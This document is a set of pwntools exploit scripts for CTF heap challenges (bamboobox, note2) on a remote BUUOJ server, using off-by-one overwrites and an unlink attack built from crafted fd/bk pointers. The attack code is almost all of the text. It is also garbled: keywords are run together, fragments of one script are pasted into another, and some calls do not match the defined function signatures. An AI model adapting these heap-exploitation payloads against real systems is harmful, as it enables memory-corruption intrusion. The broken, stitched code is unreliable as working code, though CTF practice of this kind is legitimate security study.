from tools import * # context.log_level="debug" # p = process("./a") p = remote("node5.buuoj.cn",25170) debug(p,0x400E84,0x400E90,0x400E9C,0x400EA8) elf = ELF('./a') libc = ELF('./libc-2.23.so')
defadd(size,content): p.sendlineafter("Your choice:",str(2)) p.sendlineafter("Please enter the length of item name:",str(size)) p.sendlineafter("Please enter the name of item:",content) defshow(): p.sendlineafter("Your choice:",str(1)) defedit(index,size,content): p.sendafter("Your choice:",str(3)) p.sendafter("Please enter the index of item:",str(index)) p.sendafter("Please enter the length of item name:",str(size)) p.sendafter("Please enter the new name of the item:",content) defdelete(index): p.sendlineafter("Your choice:",str(4)) p.sendlineafter("Please enter the index of item:",str(index))
paylaod = b'A'*0x18+b'\x90' edit(1,paylaod) num = 7 for i inrange(7): edit(1,b'A'*0x10+b'B'*num) num = num-1 print(num) paylaod = b'B'*0x10+b'\x50' edit(1,paylaod) delete(2)
exp
from tools import * # p = process("./note2") elf = ELF('./note2') libc = ELF('libc-2.23.so') p = remote('node5.buuoj.cn',25053) debug(p,0x401032,0x401040,0x401047) # context.log_level='debug'
defadd(size,content): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter("Input the length of the note content:(less than 128)\n",str(size)) p.sendlineafter("Input the note content:\n",content) defshow(index): p.sendlineafter("option--->>\n",str(2)) p.sendlineafter("Input the id of the note:\n",str(index)) defedit(index,content): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("Input the id of the note:\n",str(index)) p.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]\n",str(1)) p.sendlineafter("TheNewContents:",content) defdelete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("Input the id of the note:\n",str(index)) p.sendlineafter("Input your name:\n",b'kim') p.sendlineafter("Input your address:\n",b'wen') free_chunk_hook = 0x602120 fd = free_chunk_hook-0x18 bk = free_chunk_hook-0x10
paylaod = p64(0)*2+p64(fd)+p64(bk)+b'c'*0x10 add(0x30,paylaod) add(0,'') add(0x80,b'a'*8) add(0x10,b'/bin/sh\x00') paylaod = b'A'*0x18+b'\x90' edit(1,paylaod) num = 7 for i inrange(7): edit(1,b'A'*0x10+b'B'*num) num = num-1 print(num) paylaod = b'B'*0x10+b'\x50' edit(1,paylaod) delete(2)
from tools import * # p = process('./bamboobox') p = remote("node5.buuoj.cn",25863) debug(p,0x400E90,0x400E9C,0x400EA8,0x400cdd) # context.log_level = 'debug' elf = ELF("./bamboobox") libc = ELF("./libc-2.23.so")
defshow(): p.sendlineafter("Your choice:",str(1)) # p.sendlineafter("") defadd(size,content): p.sendlineafter("Your choice:",str(2)) p.sendlineafter("Please enter the length of item name:",str(size)) p.sendlineafter("Please enter the name of item:",content) defedit(index,size,content): p.sendlineafter("Your choice:",str(3)) p.sendlineafter("Please enter the index of item:",str(index)) p.sendlineafter("Please enter the length of item name:",str(size)) p.sendlineafter("Please enter the new name of the item:",content) defdelete(index): p.sendlineafter("Your choice:",str(4)) p.sendlineafter("Please enter the index of item:",str(index))